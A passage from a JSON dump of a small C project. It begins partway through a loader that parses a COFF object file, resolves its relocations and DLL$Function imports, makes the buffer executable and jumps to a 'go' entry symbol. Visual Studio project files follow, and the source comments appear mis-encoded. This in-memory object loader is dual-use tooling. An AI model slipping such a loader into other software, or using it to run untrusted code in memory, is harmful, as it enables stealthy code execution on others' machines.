0, Relocation_len * sizeof(PIMAGE_RELOCATION));\n\n\tfor (int i = 0; i <= PECOFF_FileHeader->NumberOfSections - 1; i++)\n\t{\n\n\t\tif (PECOFF_SectionHeader_arr[i]->NumberOfRelocations)\n\t\t{\n\t\t\tPIMAGE_RELOCATION PECOFF_Relocation = (PIMAGE_RELOCATION)(buff + PECOFF_SectionHeader_arr[i]->PointerToRelocations);\n\t\t\tfor (int y = 0; y < PECOFF_SectionHeader_arr[i]->NumberOfRelocations; y++)\n\t\t\t{\n\t\t\t\tPECOFF_Relocation_arr[x] = PECOFF_Relocation;\n\t\t\t\tPECOFF_Relocation++;\n\t\t\t\tx++;\n\t\t\t}\n\t\t}\n\t}\n\t//ӡ\n\n\n\t//ű\n\tPIMAGE_SYMBOL PECOFF_SYMBOL = (PIMAGE_SYMBOL)(buff + PECOFF_FileHeader->PointerToSymbolTable);\n\tPIMAGE_SYMBOL* PECOFF_SYMBOL_arr = (PIMAGE_SYMBOL*)malloc(PECOFF_FileHeader->NumberOfSymbols * sizeof(PIMAGE_SYMBOL));\n\tmemset(PECOFF_SYMBOL_arr, 0, PECOFF_FileHeader->NumberOfSymbols * sizeof(PIMAGE_SYMBOL));\n\n\n\tfor (int i = 0; i <= PECOFF_FileHeader->NumberOfSymbols - 1; i++)\n\t{\n\t\tPECOFF_SYMBOL_arr[i] = PECOFF_SYMBOL;\n\t\tPECOFF_SYMBOL++;\n\t}\n\t//账NumberOfAuxSymbols\n\n\n\t//ضλͺָ\n\n\tchar* Fun_ptr = buff + PECOFF_SectionHeader_arr[0]->PointerToRawData;\n\tfor (int i = 0; i <= PECOFF_FileHeader->NumberOfSections - 1; i++)\n\t{\n\n\t\tif (PECOFF_SectionHeader_arr[i]->NumberOfRelocations)\n\t\t{\n\t\t\tPIMAGE_RELOCATION PECOFF_Relocation = (PIMAGE_RELOCATION)(buff + PECOFF_SectionHeader_arr[i]->PointerToRelocations);\n\t\t\tfor (int y = 0; y < PECOFF_SectionHeader_arr[i]->NumberOfRelocations; y++)\n\t\t\t{\n\n\t\t\t\tint sys_index = PECOFF_Relocation->SymbolTableIndex;\n\t\t\t\tif (PECOFF_SYMBOL_arr[sys_index]->StorageClass == 3)\n\t\t\t\t{\n\t\t\t\t\tchar* patch_data = buff + (PECOFF_Relocation->VirtualAddress + PECOFF_SectionHeader_arr[i]->PointerToRawData);\n\n\t\t\t\t\t*(DWORD*)patch_data = ((DWORD64)(buff + ((PECOFF_SYMBOL_arr[sys_index]->Value) + (PECOFF_SectionHeader_arr[PECOFF_SYMBOL_arr[sys_index]->SectionNumber - 1]->PointerToRawData))) - (DWORD64)(patch_data + 4));\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (!(PECOFF_SYMBOL_arr[sys_index]->N.Name.Short))\n\t\t\t\t\t{\n\t\t\t\t\t\tchar* pstr = (buff + PECOFF_FileHeader->PointerToSymbolTable) + (PECOFF_FileHeader->NumberOfSymbols * sizeof(IMAGE_SYMBOL));\n\t\t\t\t\t\tpstr += (DWORD)(PECOFF_SYMBOL_arr[sys_index]->N.Name.Long);\n\t\t\t\t\t\tif (!strcmp(pstr, \"__imp_vPrintf\"))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tchar* patch_data = buff + (PECOFF_Relocation->VirtualAddress + PECOFF_SectionHeader_arr[i]->PointerToRawData);\n\t\t\t\t\t\t\t*(DWORD64*)Fun_ptr = (DWORD64)vPrintf;\n\t\t\t\t\t\t\t*(DWORD*)patch_data = ((DWORD64)Fun_ptr - (DWORD64)(patch_data + 4));\n\t\t\t\t\t\t\tDWORD64* ptr = (DWORD64*)Fun_ptr;\n\t\t\t\t\t\t\tptr++;\n\t\t\t\t\t\t\tFun_ptr = (char*)ptr;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tpstr += 6;\n\t\t\t\t\t\t\tchar* dllname;\n\t\t\t\t\t\t\tchar* funname;\n\t\t\t\t\t\t\tdllname = strtok(pstr, \"$\");\n\t\t\t\t\t\t\tfunname = strtok(NULL, \"$\");\n\t\t\t\t\t\t\tDWORD64 fun_add = (DWORD64)GetProcAddress(LoadLibraryA(dllname), funname);\n\t\t\t\t\t\t\tchar* patch_data = buff + (PECOFF_Relocation->VirtualAddress + PECOFF_SectionHeader_arr[i]->PointerToRawData);\n\t\t\t\t\t\t\t*(DWORD64*)Fun_ptr = (DWORD64)fun_add;\n\t\t\t\t\t\t\t*(DWORD*)patch_data = ((DWORD64)Fun_ptr - (DWORD64)(patch_data + 4));\n\t\t\t\t\t\t\tDWORD64* ptr = (DWORD64*)Fun_ptr;\n\t\t\t\t\t\t\tptr++;\n\t\t\t\t\t\t\tFun_ptr = (char*)ptr;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tPECOFF_Relocation++;\n\t\t\t}\n\t\t}\n\t}\n\n\t//ѰgoΪڵ\n\tDWORD oep;\n\tfor (int i = 0; i < PECOFF_FileHeader->NumberOfSymbols - 1; i++)\n\t{\n\t\tif (!strncmp((char*)(PECOFF_SYMBOL_arr[i]->N.ShortName), \"go\", 2))\n\t\t{\n\t\t\toep = PECOFF_SYMBOL_arr[i]->Value;\n\t\t}\n\t}\n\n\tchar* jmp = 0;\n\tfor (int i = 0; i < PECOFF_FileHeader->NumberOfSections - 1; i++)\n\t{\n\t\tif (!strncmp((char*)PECOFF_SectionHeader_arr[i]->Name, \".text\", 5))\n\t\t{\n\t\t\tjmp = (buff + PECOFF_SectionHeader_arr[i]->PointerToRawData + oep);\n\t\t}\n\t}\n\tprintf(\"0x%016I64x \\n\", jmp);\n\tDWORD Protect;\n\tif (VirtualProtect(buff, file_size, PAGE_EXECUTE_READWRITE, &Protect) != 0)\n\t{\n\t\t((void(*)(void))jmp)();\n\t};\n\t//printf(\"%x\",GetLastError());\n\n\treturn 0;\n}\n\n"
  },
  {
    "path": "ceshi/ceshi.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>16.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{e627f4de-5f33-4d18-bb6d-1c3d0f709423}</ProjectGuid>\n    <RootNamespace>ceshi</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"ce.c\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"stdafx.h\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "ceshi/ceshi.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"源文件\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"头文件\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"资源文件\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"ce.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"stdafx.h\">\n      <Filter>头文件</Filter>\n    </ClInclude>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "ceshi/stdafx.h",
    "content": "#pragma once\n"
  }
]